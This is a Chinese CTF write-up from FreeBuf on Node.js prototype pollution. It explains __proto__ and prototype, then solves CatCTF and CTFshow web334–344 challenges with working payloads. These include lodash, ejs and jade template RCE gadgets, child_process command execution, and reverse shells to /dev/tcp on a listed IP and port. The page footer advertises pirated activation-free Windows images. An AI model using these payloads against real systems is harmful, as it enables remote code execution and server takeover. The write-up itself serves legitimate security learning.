浅析CTF中的Node.js原型链污染
浅析CTF中的Node.js原型链污染
作者:quan9i 2023-04-07 09:07:11安全 应用安全 在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。前言
Node.js之前并未有太多了解,最近遇上了一些相关题目,发现原型链污染是其一个常考点,在学习后对其进行了简单总结,希望对正在学习的师傅有所帮助
Node.js
原型链污染
首先强推这篇文章https://developer.mozilla.org/,读完后就会对原型链有个大致的了解,对后面学习非常有帮助。所以说什么是原型链污染呢?
偏官方一点的解释如下
在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。
简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。说到原型链污染,那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。
__proto__和prototype
在JavaScript中,每个对象都有一个名为__proto__的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为prototype的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__属性是指向该对象的原型,而prototype属性是用于创建该对象的构造函数的原型。
这么说有点抽象,因此这里举个例子来进行说明,首先我们打开谷歌浏览器,F12,切换到控制台,而后我们写入如下代码
function Person(name) {this.name = name;}Person.prototype.greet = function() {console.log(`Hello, my name is ${this.name}`);};const person1 = new Person('Alice');person1.greet(); // 输出 "Hello, my name is Alice"在例子中,我们创建了一个名为Person的构造函数,并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时,它会继承Person.prototype对象上的greet方法。因此,当我们调用person1.greet()时,它会输出"Hello, my name is Alice"。
从这里就可以看出,prototype是类Person的一个属性,所有用类Person进行实例化的对象,都会拥有prototype的全部内容。
我们实例化出来的person1对象,它是不能通过prototype访问原型的,但通过__proto__就可以实现访问Person原型,具体代码如下
console.log(person1.__proto__ === Person.prototype); // 输出 true总结(摘自https://www.leavesongs.com)1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性
他们的关系图如下所示
具体过程
那么什么是原型链污染呢我们这里用一个简单例子来对其进行说明
var a = {number : 520}var b = {number : 1314}b.__proto__.number=520 var c= {}c.number对这里的情况需要进行简单说明,我们可以看到在我们进行b.__proto__.number=520操作后,即使是内容为空的c,调用number属性仍存在且值为我们设定的520,这时就达到了一个原型链污染的目的。接下来再说一下可能部分师傅有疑问的点
一、为什么执行过b.__proto__.number=520后,我们输出b的值,其值仍为1314
这是因为在JavaScript中存在这样一种继承机制:我们这里调用b.number时,它的具体调用过程是如下所示的
1、在b对象中寻找number属性2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性也就是说,它从自身开始寻找,然后一层一层向上递归寻找,直到找到或是递归到null为止,此机制被称为JavaScript继承链,我们这里的污染的属性是在b.__proto__中,而我们的b对象本身就有number,所以其值并未改变。
二、为什么新建的值为空的c对象,调用c.number竟然有值而且为我们设定的520
当明白上个问题时,这个问题也就迎刃而解了,我们这里的c对象虽然是空的,但JavaScript继承链的机制就会使它继续递归寻找,此时也就来到了c.__proto__中寻找number属性,我们刚刚进行了原型链污染,它的c.__proto__其实就是Object.protoype,而我们进行污染的b.__proto__也是Object.prototype,所以此时它调用的number就是我们刚刚污染的属性,所以这也就是为什么c .number=520
它常见于当存在函数(其功能是将一个数组的内容复制到另一个数组中)的情况下,示例如下
function merge(target, source) {for (let key in source) {if (key in source && key in target) {// 如果target与source有相同的键名 则让target的键值为source的键值merge(target[key], source[key])} else {target[key] = source[key]// 如果target与source没有相通的键名 则直接在target新建键名并赋给键值}}}let o1 = {}let o2 =JSON.parse{a: 1, "__proto__": {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)这里的话可以看到我们的o3内容为空,但调用b属性也是成功输出了2,说明我们刚刚的原型链污染成功了,这里也说一下可能部分师傅有疑问的点。
一、为什么要加JSON.parse,这个函数有什么作用,不加会怎么样?
这是因为,JSON解析的情况下,__proto__会被认为是一个真正的键名,而不代表原型,所以在遍历o2的时候会存在这个键。当不加的时候,他就会认为他是一个原型,此时情况如下
所以这也就是我们需要添加这个函数的原因
小拓展(js大小写特性)
对于toUpperCase()函数
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"对于toLowerCase
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)详情可见https://www.leavesongs.com/
实战
CatCTF 2022 wife
环境参考https://adworld.xctf.org.cn/challenges/list打开题目
发现是一个登录界面,给出了注册界面,点击注册界面,可以发现需要一个邀请码
如果没有邀请码的话,我们进去是这个样子
此时如果考虑到JS原型链污染的话,就变得简单了,应该是我们越权拿到管理员权限,从而获取flag,其注册界面源码如下所示(比赛时是黑盒,这里并未给出源码)
app.post('/register', (req, res) => {let user = JSON.parse(req.body)if (!user.username || !user.password) {return res.json({ msg: 'empty username or password', err: true })}if (users.filter(u => u.username == user.username).length) {return res.json({ msg: 'username already exists', err: true })}if (user.isAdmin && user.inviteCode != INVITE_CODE) {user.isAdmin = falsereturn res.json({ msg: 'invalid invite code', err: true })}let newUser = Object.assign({}, baseUser, user)users.push(newUser)res.json({ msg: 'user created successfully', err: false })})我们这里注意到Object.assign方法,他类似之前示例说的clone函数,Object.assign这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmin为true就可以了。
{"__proto__":{"isAdmin":true}此时便可越权拿到flag
Code-Breaking 2018 Thejs
源码参考https://code-breaking.com/puzzle/9/#promo-block搭建环境的话,先安装一下express框架
cnpm i express -S而后再安装一下lodash模块即可
npm install lodash而后通过node server.js即可开启题目环境
环境如下
接下来简单看一下代码
#server.jsconst fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())app.use('/static', express.static('static'))app.use(session({name: 'thejs.session',secret: randomize('aA0', 16),resave: false,saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})return callback(null, rendered)})})app.set('views', './views')app.set('view engine', 'ejs')app.all('/', (req, res) => {let data = req.session.data || {language: [], category: []}if (req.method == 'POST') {data = lodash.merge(data, req.body)req.session.data = data}res.render('index', {language: data.language, category: data.category})})app.listen(3000, () => console.log(`Example app listening on port 3000!`))首先我们这里可以发现存在merge函数
if (req.method == 'POST') {data = lodash.merge(data, req.body)req.session.data = data}这里的含义也是比较简单,即将我们POST提交的信息,通过merge合并到session中,最终我们所有提交的信息都会被保存到session中去,那么存在这个merge函数的话,说明我们可以进行原型链污染,那么我们污染的参数该是什么呢,我们这个时候看这几行代码
fs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})可以发现其对内容进行了lodash.template处理,我们跟进这个函数,具体代码可见https://github.com/lodash
可以发现这个sourceURL当没有值的时候就是一个空的状态,而当其有值时,就会取当前的这个值,我们看接下来他怎么处理
可以发现这里被放入了Function的第二个参数,此时我们就可以实现代码执行了。
所以我们污染的参数就是sourceURL,具体Payload如下所示
{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}这里需要注意,我们的ConType-type需要修改为application/json,这样才能让__proto__成为键值而非原型,之所以可以直接这样修改是因为express框架支持根据Content-Type来解析请求Body。
同时,这里之所以不用require的原因如下
Function 环境下没有 require 函数,直接使用require('child_process') 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。
CTFshow系列
web334
给了一个附件(zip),打开的话是两个文件,具体内容如下
#user.jsmodule.exports = {items: [{username: 'CTFSHOW', password: '123456'}]};#login.jsvar express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});};router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password); if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});}req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});});}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}});module.exports = router;这里看到user.js里给出了账密,接下来我们在看login.js,这里的话可以看到对账号进行了一个toUpperCase()函数处理,这个函数的作用是将小写字符全部改为大写字符,如下图所示
因此我们这里的话账号是CTFSHOW,我们只需要输入ctfshow,他就可以变成CTFSHOW辣
web335
方法一
进入后环境如下
没看到有什么有用信息,这个时候查看一下源代码看看有没有有用信息
发现提示了eval参数,这个时候我们就需要看一个东西了,即如何在Node.js执行命令
http://nodejs.cn/api/child_process.html在其中可以看到这个函数
这个只需要写入命令即可,因此我们对其进行简单尝试
eval=require('child_process').execSync('ls')成功执行命令,接下来尝试获取flag
eval=require('child_process').execSync('cat f*')方法二
还有另一个函数
这个spawnSync函数的话是需要两个参数,返回值是一个可选项,但当返回值不填时,默认返回的是Object,所以这里其实是三个参数,即命令,命令的参数,以及返回格式,比如我们这里想执行ls .,那我们这里就可以写成spawnSync('ls',['.']).output,接下来尝试在靶场中执行
eval=require('child_process').spawnSync('ls',['.']).output成功执行,接下来查看flag
eval=require('child_process').spawnSync('tac',['fl00g.txt']).outputweb336
和上关的环境相似,这里尝试上关的payload
方法一
eval=require('child_process').execSync('cat f*')回显tql,一眼顶真,这是某些字符串被过滤掉了,这里的话感觉应该是execSync,我们这里可以采用拼接的方法来进行绕过,然后本来的话是.execSync,我们这里可以修改为['exe'+'Sync'],小知识[xxx]=.xxx,因此我们这里尝试一下这个方法
eval=require('child_process')['exe'%2B'cSync']('ls')//+号进行了URL编码,这是因为不编码的话+会被解析为空格同理,查看flag
方法二
用上面的第二个函数(spawnSync)可正常执行命令
eval=require('child_process').spawnSync('cat',['fl001g.txt']).outputweb 337
题目给出了源代码,如下所示
var express = require('express');var router = express.Router();var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');}router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;重点在于
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);md5的绕过,这里可以采用数组绕过的方式,构造如下语句即可
a[]=1&b=1也可以采用这个payload
a[a]=1&b[b]=12这是因为此时题目两个打印出来的是一致的,都是Object,所以
传传a[0]=1&b[0]=2不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2],此时的结果
web338
这里给出了源代码,其中的login.js文件内容如下
var express = require('express');var router = express.Router();var utils = require('../utils/common');router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});}});module.exports = router;这个用到了utils里的copy函数,我们这里看一下utils中comman.js文件里的内容
module.exports = {copy:copy};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}这个的话就是一个简单的赋值,看这里就能猜出考察点是Node.js的原型污染,这里我们如果key是__proto__,就可以实现一个属性污染,这里要求的条件secert.ctfshow==='36dboy',如果我们去设置一个"__proto__":"ctfshow:36dboy",它首先在secret中寻找,没找到ctfshow,就会往上继续找,此时就会找到Object,因为Object.prototype中有ctfshow,所以此时我们就满足了条件,成功绕过
web339
方法一
#login.js 部分代码router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});}单看这个login.js的话,我们这里不知道flag,肯定是无法满足secert.ctfshow===flag的与上题相似,但这里的api.js内容中有这样一串代码
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});如果我们可以自定义query的内容,就可以实现RCE,所以我们这里的话就用原型链污染来修改__proto__的值,具体payload如下
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}接下来去访问api接口,从而调用这个query
此时查看我们监听的7777端口,成功反弹shell
cat login.js|grep flag方法二
这个题使用了ejs模板,对于ejs模板RCE我们这里的话可以看一下这两篇文章https://evi0s.com/https://xz.aliyun.com/t/7184#toc-7里面对其进行了具体分析,我比较菜,没大看懂,只知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值,其内容是我们的恶意代码,然后我们再次请求,就可以触发这个代码的执行,具体payload如下
"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/监听端口 0>&1\"');var __tmp2"}此时已成功写入恶意代码,接下来刷新一下界面即可成功反弹shell
web340
这里的话环境和上关类似,但login.js中的内容略有改动,具体如下
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){ res.end(flag);}else{ return res.json({ret_code: 2, ret_msg: '登录失败'});}});改动点在于utils.copy(user.userinfo,req.body);,原本是user的,所以说也就是原型链多了一层,我们再套一层即可,本来的原型链应该是
user.__proto__->Object.__proto__现在变成了
user.userinfo__proto->user.__proto__->Object.__proto__因此我们这里在上一关的payload基础上多加一个__proto__即可,具体payload如下
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}}而后POST发包访问/api接口
查看是否成功反弹shell
web341
这里缺少了api.js,这样的话就说明没法再去用之前的方法来做了,但考虑到这里的ejs模板,所以这里的话应该是用ejs来进行反弹shell的,尝试用此payload进行反弹shell,与之前payload相似,多套一层__proto__,具体payload如下
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}}}而后刷新一下界面,以此来执行我们的恶意代码,接下来查看VPS是否成功反弹shell
这里的话flag没有在这里,需要我们自己找一下
find / |grep flagcat /flagWeb342
jade的原型链污染,参考链接https://xz.aliyun.com/t/7025,由于node.js了解较少,所以这里参考其他师傅的payload进行尝试,等学会node.js再对具体代码进行分析,payload如下
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}接下来刷新界面,查看监vps
成功反弹shell,接下来查看flag即可
Web343
说是增加了过滤,但仍沿用上一关payload,亦可打通
Web344
源码如下
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});可以看到我们这里需要满足三个条件
1、query.name==='admin'2、query.password==='ctfshow'3、query.isVIP===true我们这里平常的话如果没有过滤的话,直接这样写payload就可以
query={"name":"admin","password":"ctfshow","isVIP":true}但这里存在过滤(req.url.match(/8c|2c|\,/ig)),%2c是,,所以我们这里不能再用逗号,我们这里可以使用&&来代替它,但此时发现还不行,这是因为:"ctfshow这里,这个"的编码是%22,而它和c连起来,此时就是%22c,此时就有2c了,所以不满足条件,因此我们这里需要对c进行一次URL编码,所以最终payload是
query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}参考文章
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascripthttps://xz.aliyun.com/t/7182#toc-7https://blog.csdn.net/miuzzx/article/details/111780832https://xz.aliyun.com/t/7184#toc-11
本文作者:quan9i,转载请注明来自FreeBuf.COM
责任编辑:武晓燕 来源:FreeBuf.COM CTF原型JavaScript推荐系统
微软Win11原版22H2下载_Win11GHOST 免 激活密钥 22H2正式版64位免费下载
语言:中文版系统大小:5.13GB系统类型:Win11微软Win11原版22H2下载_Win11GHOST 免 激活密钥 22H2正式版64位免费下载系统在家用办公上跑分表现都是非常优秀,完美的兼容各种硬件和软件,运行环境安全可靠稳定。Win11 64位 Office办公版(免费)优化 1、保留 Edge浏览器。 2、隐藏“操作中心”托盘图标。 3、保留常用组件(微软商店,计算器,图片查看器等)。 5、关闭天气资讯。
Win11 21H2 官方正式版下载_Win11 21H2最新系统免激活下载
语言:中文版系统大小:4.75GB系统类型:Win11Ghost Win11 21H2是微软在系统方面技术积累雄厚深耕多年,Ghost Win11 21H2系统在家用办公上跑分表现都是非常优秀,完美的兼容各种硬件和软件,运行环境安全可靠稳定。Ghost Win11 21H2是微软最新发布的KB5019961补丁升级而来的最新版的21H2系统,以Windows 11 21H2 22000 1219 专业版为基础进行优化,保持原汁原味,系统流畅稳定,保留常用组件
windows11中文版镜像 微软win11正式版简体中文GHOST ISO镜像64位系统下载
语言:中文版系统大小:5.31GB系统类型:Win11windows11中文版镜像 微软win11正式版简体中文GHOST ISO镜像64位系统下载,微软win11发布快大半年了,其中做了很多次补丁和修复一些BUG,比之前的版本有一些功能上的调整,目前已经升级到最新版本的镜像系统,并且优化了自动激活,永久使用。windows11中文版镜像国内镜像下载地址微软windows11正式版镜像 介绍:1、对函数算法进行了一定程度的简化和优化
微软windows11正式版GHOST ISO镜像 win11下载 国内最新版渠道下载
语言:中文版系统大小:5.31GB系统类型:Win11微软windows11正式版GHOST ISO镜像 win11下载 国内最新版渠道下载,微软2022年正式推出了win11系统,很多人迫不及待的要体验,本站提供了最新版的微软Windows11正式版系统下载,微软windows11正式版镜像 是一款功能超级强大的装机系统,是微软方面全新推出的装机系统,这款系统可以通过pe直接的完成安装,对此系统感兴趣,想要使用的用户们就快来下载
微软windows11系统下载 微软原版 Ghost win11 X64 正式版ISO镜像文件
语言:中文版系统大小:0MB系统类型:Win11微软Ghost win11 正式版镜像文件是一款由微软方面推出的优秀全新装机系统,这款系统的新功能非常多,用户们能够在这里体验到最富有人性化的设计等,且全新的柔软界面,看起来非常的舒服~微软Ghost win11 正式版镜像文件介绍:1、与各种硬件设备兼容。 更好地完成用户安装并有效地使用。2、稳定使用蓝屏,系统不再兼容,更能享受无缝的系统服务。3、为
雨林木风Windows11专业版 Ghost Win11官方正式版 (22H2) 系统下载
语言:中文版系统大小:4.75GB系统类型:雨林木风Windows11专业版 Ghost Win11官方正式版 (22H2) 系统下载在系统方面技术积累雄厚深耕多年,打造了国内重装系统行业的雨林木风品牌,其系统口碑得到许多人认可,积累了广大的用户群体,雨林木风是一款稳定流畅的系统,一直以来都以用户为中心,是由雨林木风团队推出的Windows11国内镜像版,基于国内用户的习惯,做了系统性能的优化,采用了新的系统
雨林木风win7旗舰版系统下载 win7 32位旗舰版 GHOST 免激活镜像ISO
语言:中文版系统大小:5.91GB系统类型:Win7雨林木风win7旗舰版系统下载 win7 32位旗舰版 GHOST 免激活镜像ISO在系统方面技术积累雄厚深耕多年,加固了系统安全策略,雨林木风win7旗舰版系统在家用办公上跑分表现都是非常优秀,完美的兼容各种硬件和软件,运行环境安全可靠稳定。win7 32位旗舰装机版 v2019 05能够帮助用户们进行系统的一键安装、快速装机等,系统中的内容全面,能够为广大用户
番茄花园Ghost Win7 x64 SP1稳定装机版2022年7月(64位) 高速下载
语言:中文版系统大小:3.91GB系统类型:Win7欢迎使用 番茄花园 Ghost Win7 x64 SP1 2022.07 极速装机版 专业装机版具有更安全、更稳定、更人性化等特点。集成最常用的装机软件,集成最全面的硬件驱动,精心挑选的系统维护工具,加上独有人性化的设计。是电脑城、个人、公司快速装机之首选!拥有此系统
相关文章
- 正确启用BIOS显卡的启动顺序有效预防电脑黑屏困扰
- Solaris 10.0 cvs的安装方法
- linux tcpdump抓取HTTP包的详细解释
- HP TPN-C116笔记本安装win7系统的方法分享
- win8无线网自动断网问题解决方法
- 怎么样修改系统的盘符名称比如C盘的C、D盘的D
- Windows系统设置开机菜单选择超时等待时间的方法
- 加速Windows 2003关机速度的设置方法
- Win8系统以管理员身份进入cmd解决疑难问题
- Win8磁盘已用空间和文件大小不符的解决方法
- windows8使用技巧汇总
- win8系统C盘和桌面所有程序消失不见解决方法
- Win7系统文件加密功能EPS密码备份技巧
- 在CentOS系统上安装Eclipse的教程
- Win8中隐藏Administrator账户的开启方法
- 微软不使用Windows9反而使用Windows10命名下一代Windows操作系统的真相
- CentOS7 如何设置截图的快捷键?
- Win8系统IE10收藏夹漫游功能设置步骤实现漫游
热门系统
- 1华硕笔记本&台式机专用系统 GhostWin7 32位正式旗舰版2018年8月(32位)ISO镜像下载
- 2深度技术 Windows 10 x86 企业版 电脑城装机版2018年10月(32位) ISO镜像免费下载
- 3电脑公司 装机专用系统Windows10 x86喜迎国庆 企业版2020年10月(32位) ISO镜像快速下载
- 4雨林木风 Ghost Win7 SP1 装机版 2020年4月(32位) 提供下载
- 5深度技术 Windows 10 x86 企业版 六一节 电脑城装机版 版本1903 2022年6月(32位) ISO镜像免费下载
- 6深度技术 Windows 10 x64 企业版 电脑城装机版2021年1月(64位) 高速下载
- 7新萝卜家园电脑城专用系统 Windows10 x64 企业版2019年10月(64位) ISO镜像免费下载
- 8新萝卜家园 GhostWin7 SP1 最新电脑城极速装机版2018年8月(32位)ISO镜像下载
- 9电脑公司Ghost Win8.1 x32 精选纯净版2022年5月(免激活) ISO镜像高速下载
- 10新萝卜家园Ghost Win8.1 X32 最新纯净版2018年05(自动激活) ISO镜像免费下载
热门文章
常用系统
- 1绿茶系统官方安装包_绿茶系统Ghost Win10极速精简版下载
- 2新萝卜家园Ghost Win10 长期服务版X64 v2023.02最新免费下载
- 3新雨林木风 Windows10 x86 企业装机版2018年10月(32位) ISO镜像免费下载
- 4电脑公司 装机专用系统Windows10 x64 企业版2021年9月(64位) ISO镜像高速下载
- 5Win7 64位旗舰版免激活下载_大地系统Win7旗舰版官方下载
- 6win7旗舰版iso镜像下载-Windows7旗舰版iso镜像64位 v2023.02免费下载
- 7深度技术Ghost Win8.1 x32位 特别纯净版2019年8月(免激活) ISO镜像高速下载
- 8技术员联盟Win7激活镜像文件下载_技术员联盟Win7 32位稳定旗舰版下载V2023.08
- 9电脑公司 GHOST WIN7 SP1 X64 装机旗舰版 V2014.05 下载
- 10番茄花园 GHOST XP SP3 优化专业版 V2018.05 下载